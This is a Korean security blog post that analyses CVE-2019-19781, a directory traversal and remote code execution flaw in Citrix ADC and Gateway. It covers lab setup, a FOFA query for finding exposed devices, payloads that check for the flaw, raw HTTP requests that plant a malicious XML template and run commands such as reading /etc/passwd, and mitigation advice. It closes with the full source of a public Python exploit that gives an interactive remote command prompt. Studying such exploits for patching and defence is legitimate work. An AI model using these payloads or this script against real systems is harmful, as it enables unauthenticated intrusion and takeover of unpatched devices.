1. 개념
Citrix ADC는 단순히 로드밸런서의 기능 뿐만 아니라, WEB / WAN 가속, Caching, 웹-방화벽, GSLB, L7 DDoS 방어, SSL VPN Gateway등 다양한 기능이 포함된 올인원 제품이다.
Citrix Gateway는 원격 액세스를 단순하게 만들어 주는 동시에 앱과 리소스에 대한 액세스를 보호한다.
이러한 Citrix 장비에 인증되지 않은 공격자가 임의 코드 실행을 수행 할 수있는 취약점이 존재한다.
CVE: cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781
2. 취약점 설명
vpns 폴더 요청에 대한 접근을 적절하게 검증하지 않아 발생한다.
공격자는 Directory Traversal을 통해 취약한 버전일 경우 악의적인 xml 파일를 삽입한 후 명령어를 실행한다.
1) 영향을 받는 버전
2020.07월 이전에 지원된 Citrix ADC 및 Citrix Gateway 10.5 ~ 13.0 버전
2) FOFA
title="Citrix"
3. 취약점 진단 환경 구성
1) Citrix ADC 설치
취약점 진단 테스트는 citrix 공식 홈페이지에서 NetScaler VPX for ESX 12.0 버전을 다운받아 사용하였다.
다운로드 경로: www.citrix.com/downloads/citrix-gateway/
2) Citrix ADC 실행
다운 받은 후 최초 실행시 IP 설정 화면에서 IP를 입력한다.
IP: 192.168.3.244/24
Gateway: 192.168.3.1
로그인 초기 정보
ID: nsroot
Password: nsroot
Ping test 및 GUI로 접근시 정상접근 되는것을 확인할 수 있다.
4.PoC (Proof Of Concept)
1) 취약점 유무 확인
[Target IP]/vpn 경로에서 Directory Traversal 를 이용하여 상위 경로로 이동 후 /vpns 아래의 파일 이름으로 경로를 변경하여 응답 값이 200으로 출력될 경우 취약한 장비 인것을 확인할 수 있다.
1.1) Payload
https://[Target IP]/vpn/../vpns/services.html
https://[Target IP]/vpn/../vpns/cfg/smb.conf
보안 패치가 완료된 장비인 경우 403 Forbidden 에러가 발생한다.
2) Upload XML
취약한 vpns 경로로 이동 후 /portal/scripts/newbm.pl 파일 경로로 이동한다.
NSC_USER 항목에 Directory Traversal 공격을 수행하여 peemang 이라는 이름의 xml 파일을 업로드한다.
2.1) Requset
POST /vpn../vpns/portal/scripts/newbm.pl Host: 192.168.3.244 User-Agent: 1 Connection: close NSC_USER: ../../../netscaler/portal/templates/peemang NSC_NONCE: nsroot Content-Length: 9 url=http://example.com&title=peemang&desc=[%template.new('BLOCK' = 'print `cat /etc/passwd`') %] |
2.2) Response
HTTP/1.1 200 OK |
2.3) XML 파일 구조
http://example.com”/> http://example.com”/> http://example.com”/> <? xml version =”1.0 ″ encoding =”UTF-8 ″?> <user username =”../../ ../ netscaler / portal / templates / peemang”> <bookmarks> <bookmark UI_inuse =””descr =”[% template.new ({ 'BLOCK'= 'print`cat /etc/passwd'} ) %] \”title =”peemang \”url =”https : //www.google.com \”/> </ bookmarks> |
3) Execute command
3.1) Request
vpns/portal 경로로 이동한 후 이전에 업로드 한 peemang.xml 파일을 실행한다.
GET /vpn/../vpns/portal/peemang.xml HTTP/1.1 Host: 192.168.3.244 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close NSC_USER: nsroot NSC_NONCE: nsroot Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 |
3.2) Response
응답 결과를 확인해보면 /etc/passwd 목록이 출력된것을 확인할 수 있다.
HTTP/1.1 200 OK Date: Sat, 20 Feb 2021 22:30:44 GMT GMT Server: Apache X-Frame-Options: SAMEORIGIN Pragma: no-cache Cache-control: no-cache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Expires: Sat, 20 Feb 2021 22:30:44 GMT Content-Length: 2255
# $FreeBSD: release/8.4.0/etc/master.passwd 243948 2012-12-06 11:54:25Z rwatson $ # ... |
5. 대응 방안
Citrix ADC 장비를 2020 7월 이후 버전으로 업데이트 한다.
/vpns 하위 경로에 접근하지 못하도록 수행한다.
6. Exploit
#git clone github.com/jas502n/CVE-2019-19781
#python CVE-2019-19781.py http://192.168.3.244
Set Cmd > [Input command]
#coding=utf-8
import requests,sys,uuid
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
'''
<?xml version="1.0" encoding="UTF-8"?>
<user username="../../../netscaler/portal/templates/cdl">
<bookmarks>
<bookmark UI_inuse="" descr="[% template.new('BLOCK' = 'print `cat /etc/hosts`') %]" title="cdl" url="http://example.com" />
</bookmarks>
<escbk>
</escbk>
<filesystems></filesystems>
<style></style>
</user>
'''
banner = '''
_____ _ _ _____ _____ _____ __ _____ __ _____ ___________ __
/ __ \ | | | ___| / __ \| _ |/ | | _ | / | | _ ||___ / _ |/ |
| / \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | | |_| | / / \ V / `| |
| | | | | | __|______| / / | /| | | | \____ |______|| | \____ | / / / _ \ | |
| \__/\ \_/ / |___ ./ /___\ |_/ /_| |_.___/ / _| |_.___/ /./ / | |_| |_| |_
\____/\___/\____/ \_____/ \___/ \___/\____/ \___/\____/ \_/ \_____/\___/
Remote Code Execute in Citrix Application Delivery Controller and Citrix Gateway
Usage: python CVE-2019-19781.py http://x.x.x.x/
Python By Jas502n
'''
print banner
def upload_xml(url,cdl,cmd):
newbm_url = url + '/vpn/../vpns/portal/scripts/newbm.pl'
headers = {
"Connection": "close",
"NSC_USER": "../../../netscaler/portal/templates/%s"%cdl,
"NSC_NONCE": "nsroot"
}
payload = "url=http://example.com&title=" + cdl + "&desc=[% template.new('BLOCK' = 'print `"+ cmd + "`') %]"
proxies = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}
r = requests.post(url=newbm_url, headers=headers,data=payload,proxies=proxies, verify=False,allow_redirects=False)
# print r.content
if r.status_code == 200 and 'parent.window.ns_reload' in r.content:
print "\n","[+] Upload_Xml= ",newbm_url
print '[+] Upload successful!\n'
xml_url(url,cdl,cmd)
else:
sys.exit("[+] Upload Fail!")
def xml_url(url,cdl,cmd):
xml_url = url + '/vpn/../vpns/portal/%s.xml' % cdl
headers = {
"NSC_USER": "nsroot",
"NSC_NONCE": "nsroot"
}
proxies = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}
r = requests.get(xml_url,headers=headers, verify=False,proxies=proxies)
# print r.headers()
if r.status_code == 200:
print "[+] Xml_Url= ",xml_url
print "[+] Command= ",cmd
print "[+] Exec Result: \n____________________________________________________________\n\n %s____________________________________________________________\n" % r.content.split("u")[0]
if __name__ == '__main__':
if len(sys.argv) != 2:
sys.exit("python %s http://x.x.x.x/" % sys.argv[0])
else:
while 1:
url = sys.argv[1]
cdl = str(uuid.uuid4()).split('-')[0]
cmd = raw_input("Set Cmd > ")
if cmd =='exit':
exit()
print 1
else:
upload_xml(url,cdl,cmd)
[참고]
Citrix 공식 홈페이지 취약점 설명: https://support.citrix.com/article/CTX276688
취약점 설명: https://mohen.blog.csdn.net/
Github: https:/github.com/jas502n/CVE-2019-19781/blob/master/CVE-2019-19781.py
Citrix ADC 소개: time-gate.com/product/citrix/citrix-adc/
'Hacking & Security > Vulnerability' 카테고리의 다른 글
Atlassian Confluence OGNL Remote Code Execution (CVE-2022-26134) (0) | 2022.06.14 |
---|---|
Tongda OA file upload AND RCE Vulnerability (0) | 2021.02.27 |
FortiOS SSL VPN Directory Traversal Vulnerability (CVE-2018-13379) (0) | 2020.12.16 |
Cisco ASA Read Only Path Traversal Vulnerability (CVE-2020-3452) (0) | 2020.10.04 |
Netgear_WGR614v10 Authentication bypass Vulnerability (CVE-2017-5521) (0) | 2020.10.04 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊